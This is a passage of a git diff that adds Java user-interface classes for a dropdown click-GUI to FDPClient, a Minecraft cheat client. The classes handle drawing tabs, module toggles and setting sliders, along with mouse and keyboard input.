round(final float v) { + BigDecimal bigDecimal = new BigDecimal(Float.toString(v)); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal; + } + + private Color hoverColor(final Color color, final int hover) { + final int r = color.getRed() - (hover * 2); + final int g = color.getGreen() - (hover * 2); + final int b = color.getBlue() - (hover * 2); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Client.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Client.java new file mode 100644 index 0000000..5e876d5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Client.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import lombok.Getter; + +@Getter +public class Client { + private static Client INSTANCE; + public DropdownGUI dropDownGUI; + + public static Client getInstance() { + + try { + if (INSTANCE == null) INSTANCE = new Client(); + return INSTANCE; + } catch (Throwable t) { + // ClientUtils.logError("Dropdown [e]:", t); + throw t; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/DropdownGUI.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/DropdownGUI.java new file mode 100644 index 0000000..f29db7f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/DropdownGUI.java @@ -0,0 +1,182 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.gui.inventory.GuiChest; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.input.Keyboard; +import org.lwjgl.input.Mouse; +import org.lwjgl.opengl.GL11; + +import java.io.IOException; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; +public class DropdownGUI extends GuiScreen { + + private final List<Tab> tabs = new CopyOnWriteArrayList<>(); + private boolean dragging; + private int dragX; + private int dragY; + private int alpha; + private final ResourceLocation hudIcon = new ResourceLocation("fdpclient/ui/clickgui/hud.png"); + public DropdownGUI() { + + } + @Override + public void initGui() { + float x = 75; + alphaBG = 0; + + if (tabs.isEmpty()) { + for (ModuleCategory value : ModuleCategory.values()) { + tabs.add(new Tab(value, x, 10)); + x += 110; + } + + // tabs.add(new ConfigTab(x, 10)); + } + + if (!(mc.currentScreen instanceof GuiChest) && mc.currentScreen != this) { + for (Tab tab : tabs) { + for (Module module : tab.modules) { + module.fraction = 0; + + for (Setting setting : module.settings) { + setting.setPercent(0); + } + } + + // if (tab instanceof ConfigTab) { + // ((ConfigTab) tab).refreshConfigs(); + // } + } + } + + // if (Client.getInstance().getModuleManager().getModule(ClickGUI.class).getBlur().get()) { + // mc.entityRenderer.loadShader(new ResourceLocation("shaders/post/blur.json")); + // } + + super.initGui(); + } + + @Override + public void onGuiClosed() { + // if (mc.entityRenderer.theShaderGroup != null) { + // mc.entityRenderer.theShaderGroup.deleteShaderGroup(); + // mc.entityRenderer.theShaderGroup = null; + // } + super.onGuiClosed(); + } + + int alphaBG = 0; + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + if (Mouse.isButtonDown(0) && mouseX >= 5 && mouseX <= 50 && mouseY <= height - 5 && mouseY >= height - 50) + mc.displayGuiScreen(new GuiHudDesigner()); + RenderUtils.drawImage(hudIcon, 9, height - 41, 32, 32); + GL11.glPushMatrix(); + ScaledResolution scaledResolution = new ScaledResolution(mc); + int x = ScaleUtils.getScaledMouseCoordinates(mc, mouseX, mouseY)[0]; + int y = ScaleUtils.getScaledMouseCoordinates(mc, mouseX, mouseY)[1]; + ScaleUtils.scale(mc); + for (Tab tab : tabs) { + tab.drawScreen(x, y); + if (tab.dragging) { + tab.setPosX(dragX + x); + tab.setPosY(dragY + y); + } + int i = 0; + int panlesize = this.tabs.size(); + if (i < panlesize){ + this.updatemouse(); + ++i; + } + } + + super.drawScreen(mouseX, mouseY, partialTicks); + GL11.glPopMatrix(); + } + public void updatemouse(){ + int scrollWheel = Mouse.getDWheel(); + int panlesize = this.tabs.size(); + for (int i = 0; i< panlesize; ++i){ + if (scrollWheel < 0){ + (this.tabs.get(i)).setPosY((this.tabs.get(i)).getPosY() - 15); + continue; + } + if (scrollWheel <=0)continue; + (this.tabs.get(i)).setPosY((this.tabs.get(i)).getPosY() + 15); + } + + + } + @Override + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + int x = ScaleUtils.getScaledMouseCoordinates(mc, mouseX, mouseY)[0]; + int y = ScaleUtils.getScaledMouseCoordinates(mc, mouseX, mouseY)[1]; + for (Tab tab : tabs) { + if (tab.isHovered(x, y) && mouseButton == 0) { + if (!anyDragging()) { + tab.dragging = true; + dragX = (int) (tab.getPosX() - x); + dragY = (int) (tab.getPosY() - y); + } + } + try { + tab.mouseClicked(x, y, mouseButton); + } catch (IOException e) { + e.printStackTrace(); + } + } + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + private boolean anyDragging() { + for (Tab tab : tabs) { + if (tab.dragging) { + return true; + } + } + return false; + } + + @Override + protected void keyTyped(char typedChar, int keyCode) throws IOException { + if (keyCode == Keyboard.KEY_ESCAPE && !areAnyHovered()) { + mc.displayGuiScreen(null); + if (mc.currentScreen == null) { + mc.setIngameFocus(); + } + } else { + tabs.forEach(tab -> tab.keyTyped(typedChar, keyCode)); + } + + } + + private boolean areAnyHovered() { + return false; + } + + @Override + protected void mouseReleased(int mouseX, int mouseY, int state) { + if (state == 0) { + tabs.forEach(tab -> tab.dragging = false); + } + + tabs.forEach(tab -> tab.mouseReleased(mouseX, mouseY, state)); + super.mouseReleased(mouseX, mouseY, state); + } + + public List<Tab> getTabs() { + return tabs; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Manager.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Manager.java new file mode 100644 index 0000000..f247b90 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Manager.java @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import net.ccbluex.liquidbounce.features.value.Value; + +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public final class Manager { + private static final List<Value> settingList = new CopyOnWriteArrayList<>(); + public static void put(Value setting) { + settingList.add(setting); + } + public static List<Value> getSettingList() { + return settingList; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Module.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Module.java new file mode 100644 index 0000000..683ffc9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Module.java @@ -0,0 +1,222 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import lombok.Getter; +import net.ccbluex.liquidbounce.FDPClient; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.timer.TickTimer; +import net.ccbluex.liquidbounce.features.value.TextValue; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.MathHelper; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.io.IOException; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; +import java.util.stream.Collectors; +public class Module { + @Getter + private final net.ccbluex.liquidbounce.features.module.Module module; + public int yPerModule, y; + public Tab tab; + public boolean opened; + public List<Setting> settings = new CopyOnWriteArrayList<>(); + public TickTimer hoverTimer = new TickTimer(); + public Module(net.ccbluex.liquidbounce.features.module.Module module, Tab tab) { + this.module = module; + this.tab = tab; + for (Value setting :module.getValues() ) { + settings.add(new Setting(setting, this)); + } + } + private double length = 3, anim = 5; + private final int alph = 0; + float fraction = 0; + float fractionBackground = 0; + public void drawScreen(int mouseX, int mouseY) { + + Minecraft instance = Minecraft.getMinecraft(); + int debugFPS = Minecraft.getDebugFPS(); + if (module.getState() && fraction < 1) { + fraction += (float) (0.0025 * (2000 / debugFPS)); + } + if (!module.getState() && fraction > 0) { + fraction -= (float) (0.0025 * (2000 / debugFPS)); + } + + if (!module.getState()) { + if (isHovered(mouseX, mouseY) && fractionBackground < 1) { + fractionBackground += (float) (0.0025 * (2000 / debugFPS)); + } + if (!isHovered(mouseX, mouseY) && fractionBackground > 0) { + fractionBackground -= (float) (0.0025 * (2000 / debugFPS)); + } + + } + + fraction = MathHelper.clamp_float(fraction, 0.0F, 1.0F); + fractionBackground = MathHelper.clamp_float(fractionBackground, 0.0F, 1F); + + if (yPerModule < getY()) { + yPerModule = (int) (yPerModule + (getY() + 9 - yPerModule) * 0.1); + } else if (yPerModule > getY()) { + yPerModule = (int) (yPerModule + (getY() - yPerModule) * 0.1); + } + + y = (int) (tab.getPosY() + 15); + for (Module tabModule : tab.getModules()) { + if (tabModule == this) { + break; + } else { + y += tabModule.yPerModule; + } + } + + HUD hud = FDPClient.moduleManager.getModule(HUD.class); + Color colorHUD = ClickGUIModule.INSTANCE.generateColor(); + Color white = new Color(0xFFFFFF); + + if (colorHUD.getRed() > 220 && colorHUD.getBlue() > 220 && colorHUD.getGreen() > 220) { + white = colorHUD.darker().darker(); + } + + RenderUtils.drawRect(tab.getPosX(), y, tab.getPosX() + 100, y + yPerModule, new Color(40, 40, 40, 255).getRGB()); + if (!module.getState() && fraction == 0) { + RenderUtils.drawRect(tab.getPosX(), y, tab.getPosX() + 100, y + 14, interpolateColor(new Color(40, 40, 40, 255), new Color(29, 29, 29, 255), MathHelper.clamp_float(fractionBackground, 0, 1))); + } else { + RenderUtils.drawRect(tab.getPosX(), y, tab.getPosX() + 100, y + 14, interpolateColor(new Color(40, 40, 40, 255), colorHUD, MathHelper.clamp_float(fraction, 0, 1))); + } + Fonts.SF.SF_18.SF_18.drawString(module.getName(), tab.getPosX() + 2, (float) (y + 4), 0xffffffff, true); + + if (!settings.isEmpty()) { + double val = debugFPS / 8.3; + if (opened && length > -3) { + length -= 3 / val; + } else if (!opened && length < 3) { + length += 3 / val; + } + if (opened && anim < 8) { + anim += 3 / val; + } else if (!opened && anim > 5) { + anim -= 3 / val; + } + RenderUtils.drawArrow(tab.getPosX() + 92, y + anim, 2, 0xffffffff, length); + } + if (opened || yPerModule != 14) { + ScaledResolution scaledResolution = new ScaledResolution(Minecraft.getMinecraft()); + if (yPerModule != getY() && scaledResolution.getScaleFactor() != 1) { + GL11.glScissor(0, + scaledResolution.getScaledHeight() * 2 - y * 2 - yPerModule * 2,scaledResolution.getScaledWidth() * 2, + yPerModule * 2); + GL11.glEnable(GL11.GL_SCISSOR_TEST); + settings.stream().filter(s -> s.setting.getDisplayable()).forEach(setting -> setting.drawScreen(mouseX, mouseY)); + GL11.glDisable(GL11.GL_SCISSOR_TEST); + settings.stream().filter(s ->!s.setting.getDisplayable()).forEach(setting -> setting.setPercent(0)); + } else { + settings.stream().filter(s -> s.setting.getDisplayable() ).forEach(setting -> setting.drawScreen(mouseX, mouseY)); + } + } else { + settings.forEach(setting -> setting.setPercent(0)); + } + } + + private int interpolateColor(Color color1, Color color2, float fraction) { + int red = (int) (color1.getRed() + (color2.getRed() - color1.getRed()) * fraction); + int green = (int) (color1.getGreen() + (color2.getGreen() - color1.getGreen()) * fraction); + int blue = (int) (color1.getBlue() + (color2.getBlue() - color1.getBlue()) * fraction); + int alpha = (int) (color1.getAlpha() + (color2.getAlpha() - color1.getAlpha()) * fraction); + try { + return new Color(red, green, blue, alpha).getRGB(); + } catch (Exception ex) { + return 0xffffffff; + } + } + + public void keyTyped(char typedChar, int keyCode) { + if (opened) { + settings.stream().filter(s -> s.setting.getDisplayable()).forEach(setting -> setting.keyTyped(typedChar, keyCode)); + } + } + + public int getY() { + if (opened) { + int gay = 17; + for (Setting setting : settings.stream().filter(s -> s.setting.getDisplayable() ).collect(Collectors.toList())) { + gay += 15; + } + return gay; + } else { + return 14; + } + } + + private final float alpha = 0; + + public void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + if (isHovered(mouseX, mouseY)) { + switch (mouseButton) { + case 0: + module.toggle(); + break; + case 1: + if (!module.getValues().isEmpty()) { + final ClickGUIModule clickGUI = FDPClient.moduleManager.getModule(ClickGUIModule.class); + if (!opened && ClickGUIModule.INSTANCE.getGetClosePrevious().get()) + tab.modules.forEach(module -> { + if (module.opened) + module.opened = false; + }); + opened = !opened; + for (Value setting : module.getValues()) { + if (setting instanceof TextValue) { + setting.setTextHovered(false); + } + + } + } + break; + } + + } + if (opened) { + settings.stream().filter(s -> s.setting.getDisplayable()).forEach(setting -> { + try { + setting.mouseClicked(mouseX, mouseY, mouseButton); + } catch (IOException e) { + e.printStackTrace(); + } + }); + } + } + public void mouseReleased(int mouseX, int mouseY, int state) { + if (opened) { + settings.stream().filter(s -> s.setting.getDisplayable()).forEach(setting -> setting.mouseReleased(mouseX, mouseY, state)); + } + } + public boolean isHovered(int mouseX, int mouseY) { + y = (int) (tab.getPosY() + 15); + for (Module tabModule : tab.getModules()) { + if (tabModule == this) { + break; + } else { + y += tabModule.yPerModule; + } + } + if (opened) + return mouseX >= tab.getPosX() && mouseY >= y && mouseX <= tab.getPosX() + 101 && mouseY <= y + 14; + return mouseX >= tab.getPosX() && mouseY >= y && mouseX <= tab.getPosX() + 101 && mouseY <= y + yPerModule; + } + private void update() { + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/ScaleUtils.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/ScaleUtils.java new file mode 100644 index 0000000..5efa2f2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/ScaleUtils.java @@ -0,0 +1,45 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.GlStateManager; +public class ScaleUtils { + public static int[] getScaledMouseCoordinates(Minecraft mc, int mouseX, int mouseY){ + int x = mouseX; + int y = mouseY; + switch (mc.gameSettings.guiScale){ + case 0: + x*=2; + y*=2; + break; + case 1: + x*=0.5; + y*=0.5; + break; + case 3: + x*=1.4999999999999999998; + y*=1.4999999999999999998; + } + return new int[]{x,y}; + } + + public static void scale(Minecraft mc){ + switch (mc.gameSettings.guiScale){ + case 0: + GlStateManager.scale(0.5,0.5,0.5); + break; + case 1: + GlStateManager.scale(2,2,2); + break; + case 3: + GlStateManager.scale(0.6666666666666667,0.6666666666666667,0.6666666666666667); + + } + + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Setting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Setting.java new file mode 100644 index 0000000..20b8873 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Setting.java @@ -0,0 +1,255 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl.Fonts; +import net.ccbluex.liquidbounce.utils.MathUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.timer.TickTimer; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.MathHelper; +import org.lwjgl.input.Keyboard; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.io.IOException; +import java.util.stream.Collectors; +public class Setting { + public Value setting; + private final Module module; + public boolean opened; + private final TickTimer backSpace = new TickTimer(); + private final TickTimer caretTimer = new TickTimer(); + public int height; + public float percent = 0; + + public Setting(Value setting, Module module) { + this.setting = setting; + this.module = module; + } + + public void setPercent(float percent) { + this.percent = percent; + } + + public void drawScreen(int mouseX, int mouseY) { + int y = getY(); + HUD hud = FDPClient.moduleManager.getModule(HUD.class); + ScaledResolution scaledResolution = new ScaledResolution(Minecraft.getMinecraft()); + boolean scissor = scaledResolution.getScaleFactor() != 1; + double clamp = MathHelper.clamp_double((double) Minecraft.getDebugFPS() / 30, 1, 9999); + + + if (setting instanceof FloatValue) { + final FloatValue numberValue = (FloatValue) setting; + if (module.yPerModule == module.getY() && scissor) { + GL11.glPushMatrix(); + GL11.glScissor((int) (module.tab.getPosX() * 2 + 1), 0, 197, 999999999); + GL11.glEnable(GL11.GL_SCISSOR_TEST); + } + + double rounded = (int) (numberValue.get() * 100.0D) / 100.0D; + final double percentBar = (numberValue.get()- numberValue.getMinimum() + ) / (numberValue.getMaximum() - numberValue.getMinimum()); + + percent = Math.max(0, Math.min(1, (float) (percent + (Math.max(0, Math.min(percentBar, 1)) - percent) * (0.2 / clamp)))); + RenderUtils.drawRect(module.tab.getPosX() + 1, y + 3, module.tab.getPosX() + 99, y + 14, new Color(0, 0, 0, 50).getRGB()); + RenderUtils.drawRect(module.tab.getPosX() + 1, y + 3, module.tab.getPosX() + 1 + 98 * percent, y + 14, ClickGUIModule.INSTANCE.generateColor()); + Fonts.SF.SF_18.SF_18.drawString(numberValue.getName() + " " + rounded, module.tab.getPosX() + 4, y + 5.5f, 0xffffffff, true); + + if (this.dragging) { + double difference = numberValue.getMaximum() - numberValue.getMinimum(); + double value = numberValue.getMinimum() + + MathHelper.clamp_double((mouseX - (module.tab.getPosX() + 1)) / 99, 0, 1) * difference; + double set = MathUtils.INSTANCE.incValue(value,0.01); + + numberValue.set(set); + // EventManager.call(new SettingEvent(module.getModule(), setting.getName(), setting.getSliderNumber())); + } + + if (module.yPerModule == module.getY() && scissor) { + GL11.glDisable(GL11.GL_SCISSOR_TEST); + GL11.glPopMatrix(); + } + + } + if (setting instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) setting; + if (module.yPerModule == module.getY() && scissor) { + GL11.glPushMatrix(); + GL11.glScissor((int) (module.tab.getPosX() * 2 + 1), 0, 197, 999999999); + GL11.glEnable(GL11.GL_SCISSOR_TEST); + } + + double rounded = (int) (integerValue.get() * 100.0D) / 100.0D; + final double percentBar = (integerValue.get().doubleValue()- integerValue.getMinimum() + ) / (integerValue.getMaximum() - integerValue.getMinimum()); + + percent = Math.max(0, Math.min(1, (float) (percent + (Math.max(0, Math.min(percentBar, 1)) - percent) * (0.2 / clamp)))); + RenderUtils.drawRect(module.tab.getPosX() + 1, y + 3, module.tab.getPosX() + 99, y + 14, new Color(0, 0, 0, 50).getRGB()); + RenderUtils.drawRect(module.tab.getPosX() + 1, y + 3, module.tab.getPosX() + 1 + 98 * percent, y + 14, ClickGUIModule.INSTANCE.generateColor()); + Fonts.SF.SF_18.SF_18.drawString(integerValue.getName() + " " + rounded, module.tab.getPosX() + 4, y + 5.5f, 0xffffffff, true); + + if (this.dragging2) { + double difference = integerValue.getMaximum() - integerValue.getMinimum(); + double value = integerValue.getMinimum() + + MathHelper.clamp_double((mouseX - (module.tab.getPosX() + 1)) / 99, 0, 1) * difference; + double set = MathUtils.INSTANCE.incValue(value,1); + + integerValue.set(set); + // EventManager.call(new SettingEvent(module.getModule(), setting.getName(), setting.getSliderNumber())); + } + + if (module.yPerModule == module.getY() && scissor) { + GL11.glDisable(GL11.GL_SCISSOR_TEST); + GL11.glPopMatrix(); + } + + } + if (setting instanceof BoolValue) { + final BoolValue boolValue = (BoolValue) setting; + RenderUtils.drawRect(module.tab.getPosX() + 89, y + 4, module.tab.getPosX() + 99, y + 14, new Color(0, 0, 0, 50).getRGB()); + if (boolValue.get()) { + RenderUtils.drawCheck(module.tab.getPosX() + 91, y + 8.5f, 2, ClickGUIModule.INSTANCE.generateColor().brighter().getRGB()); + } + + Fonts.SF.SF_18.SF_18.drawString(boolValue.getName(), module.tab.getPosX() + 4, y + 5.5f, + new Color(227, 227, 227, 255).getRGB(), true); + + } + if (setting instanceof ListValue) { + final ListValue listValue = (ListValue) setting; + Fonts.SF.SF_17.SF_17.drawString(listValue.getName(), module.tab.getPosX() + 3, (float) (y + 6), + 0xffffffff, true); + Fonts.SF.SF_17.SF_17.drawString(listValue.get().toUpperCase(), + module.tab.getPosX() + 97 - Fonts.SF.SF_17.SF_17.stringWidth(listValue.get().toUpperCase()), y + 7f, + new Color(255, 255, 255, 255).getRGB(), true); + } + + if (setting instanceof TextValue){ + final TextValue textValue = (TextValue) setting; + final String s = textValue.get(); + + if (textValue.getTextHovered() && Keyboard.isKeyDown(Keyboard.KEY_BACK) && this.backSpace.delay(100) && !s.isEmpty()) { + textValue.set(s.substring(0, s.length() - 1)); + this.backSpace.reset(); + } + + RenderUtils.drawRect(module.tab.getPosX() + 6, y + 16, module.tab.getPosX() + 84, y + 16.5, new Color(195, 195, 195, 220).getRGB()); + Fonts.SF.SF_16.SF_16.drawString(textValue.getName(), module.tab.getPosX() + 5.5f, y + 1.5f, new Color(227, 227, 227, 255).getRGB()); + + if (Fonts.SF.SF_16.SF_16.stringWidth(s) > 65) { + Fonts.SF.SF_16.SF_16.drawString(Fonts.SF.SF_16.SF_16.trimStringToWidth(s, 78, true), module.tab.getPosX() + 6, y + 10, 0xFFFFFFFF); + } else { + Fonts.SF.SF_16.SF_16.drawString(s, module.tab.getPosX() + 6, y + 10, 0xFFFFFFFF); + } + + } + + + } + + private int getY() { + int y = module.y + 14; + for (Setting dropDownSetting : module.settings.stream().filter(s -> s.setting.getDisplayable()).collect(Collectors.toList())) { + if (dropDownSetting == this) { + break; + } else { + y += dropDownSetting.getHeight(); + } + } + return y; + } + + public int getHeight() { + return 15; + } + + private boolean dragging,dragging2; + + public void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + if (isHovered(mouseX, mouseY)) { + + if (setting instanceof BoolValue) { + final BoolValue boolValue = (BoolValue) setting; + if (mouseButton == 0) { + if (boolValue.get()){ + boolValue.set(false); + }else { + boolValue.set(true); + } + // EventManager.call(new SettingEvent(module.getModule(), boolValue.getName(), boolValue.getName(), setting.getCheckBoxProperty())); + } + } + if (setting instanceof ListValue){ + if (mouseButton == 0) { + ListValue m = (ListValue)this.setting; + String current = m.get(); + this.setting.set(m.getValues()[m.getModeListNumber(current) + 1 >= m.getValues().length?0:m.getModeListNumber(current) + 1]); + // EventManager.call(new SettingEvent(module.getModule(), setting.getName(), setting.getComboBoxProperty())); + } + } + + if (setting instanceof IntegerValue) { + if (mouseButton == 0) { + dragging2 = true; + } + } + if (setting instanceof FloatValue) { + if (mouseButton == 0) { + dragging = true; + } + } + + } + if (setting instanceof TextValue) { + if (isHovered(mouseX, mouseY)) { + setting.setTextHovered(!setting.getTextHovered()); + } else if (setting.getTextHovered()) { + setting.setTextHovered(false); + } + } + + } + + public void keyTyped(char typedChar, int keyCode) { + if (setting instanceof TextValue) { + if (setting.getTextHovered()) { + if (keyCode == Keyboard.KEY_ESCAPE || keyCode == Keyboard.KEY_RETURN) { + setting.setTextHovered(false); + } else if (!(keyCode == Keyboard.KEY_BACK) && keyCode != Keyboard.KEY_RCONTROL && keyCode != Keyboard.KEY_LCONTROL && keyCode != Keyboard.KEY_RSHIFT && keyCode != Keyboard.KEY_LSHIFT && keyCode != Keyboard.KEY_TAB && keyCode != Keyboard.KEY_CAPITAL && keyCode != Keyboard.KEY_DELETE && keyCode != Keyboard.KEY_HOME && keyCode != Keyboard.KEY_INSERT && keyCode != Keyboard.KEY_UP && keyCode != Keyboard.KEY_DOWN && keyCode != Keyboard.KEY_RIGHT && keyCode != Keyboard.KEY_LEFT && keyCode != Keyboard.KEY_LMENU && keyCode != Keyboard.KEY_RMENU && keyCode != Keyboard.KEY_PAUSE && keyCode != Keyboard.KEY_SCROLL && keyCode != Keyboard.KEY_END && keyCode != Keyboard.KEY_PRIOR && keyCode != Keyboard.KEY_NEXT && keyCode != Keyboard.KEY_APPS && keyCode != Keyboard.KEY_F1 && keyCode != Keyboard.KEY_F2 && keyCode != Keyboard.KEY_F3 && keyCode != Keyboard.KEY_F4 && keyCode != Keyboard.KEY_F5 && keyCode != Keyboard.KEY_F6 && keyCode != Keyboard.KEY_F7 && keyCode != Keyboard.KEY_F8 && keyCode != Keyboard.KEY_F9 && keyCode != Keyboard.KEY_F10 && keyCode != Keyboard.KEY_F11 && keyCode != Keyboard.KEY_F12) { + ((TextValue) setting).append(typedChar); + } + } + + } + } + + public void mouseReleased(int mouseX, int mouseY, int state) { + if (state == 0) dragging = false; + if (state == 0) dragging2 = false; + } + + + public boolean isHovered(int mouseX, int mouseY) { + int y = getY(); + + if (setting instanceof BoolValue) + return mouseX >= module.tab.getPosX() + 89 && mouseY >= y + 4 && mouseX <= module.tab + .getPosX() + 99 && mouseY <= y + 14; + + + return mouseX >= module.tab.getPosX() && mouseY >= y && mouseX <= module.tab + .getPosX() + 90 && mouseY <= y + 17; + + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Tab.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Tab.java new file mode 100644 index 0000000..568bddb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/dropdown/Tab.java @@ -0,0 +1,135 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import org.jetbrains.annotations.NotNull; + +import java.awt.*; +import java.io.IOException; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public class Tab { + + private final ModuleCategory enumModuleType; + private float posX; + private float posY; + public boolean dragging, opened; + public List<Module> modules = new CopyOnWriteArrayList<>(); + + public Tab(ModuleCategory enumModuleType, float posX, float posY) { + this.enumModuleType = enumModuleType; + this.posX = posX; + this.posY = posY; + for (net.ccbluex.liquidbounce.features.module.Module abstractModule : FDPClient.moduleManager.getModuleInCategory(enumModuleType)) { + modules.add(new Module(abstractModule, this)); + } + } + + public void drawScreen(int mouseX, int mouseY) { + + String l = getString(); + RenderUtils.drawRect(posX - 1, posY, posX + 101, posY + 15, new Color(29, 29, 29, 255).getRGB()); + Fonts.ICONFONT.ICONFONT_24.ICONFONT_24.drawString(l, posX + 88, posY + 5, 0xffffffff); + if (enumModuleType.name().equalsIgnoreCase("World")){ + Fonts.CheckFont.CheckFont_24.CheckFont_24.drawString("b",posX + 88, posY + 5, 0xffffffff); + } + Fonts.SF.SF_20.SF_20.drawString(enumModuleType.name().charAt(0) + enumModuleType.name().substring(1).toLowerCase(), posX + 4, posY + 4, 0xffffffff, true); + if (opened) { + RenderUtils.drawRect(posX - 1, posY + 15, posX + 101, posY + 15 + getTabHeight() + 1, new Color(29, 29, 29, 255).getRGB()); + modules.forEach(module -> module.drawScreen(mouseX, mouseY)); + } else { + modules.forEach(module -> module.yPerModule = 0); + } + } + + private @NotNull String getString() { + String l = ""; + if (enumModuleType.name().equalsIgnoreCase("Combat")) { + l = "D"; + } else if (enumModuleType.name().equalsIgnoreCase("Movement")) { + l = "A"; + } else if (enumModuleType.name().equalsIgnoreCase("Player")) { + l = "B"; + } else if (enumModuleType.name().equalsIgnoreCase("Visual")) { + l = "C"; + } else if (enumModuleType.name().equalsIgnoreCase("Exploit")) { + l = "G"; + } else if (enumModuleType.name().equalsIgnoreCase("Other")) { + l = "F"; + } else if (enumModuleType.name().equalsIgnoreCase("Client")) { + l = "E"; + } + return 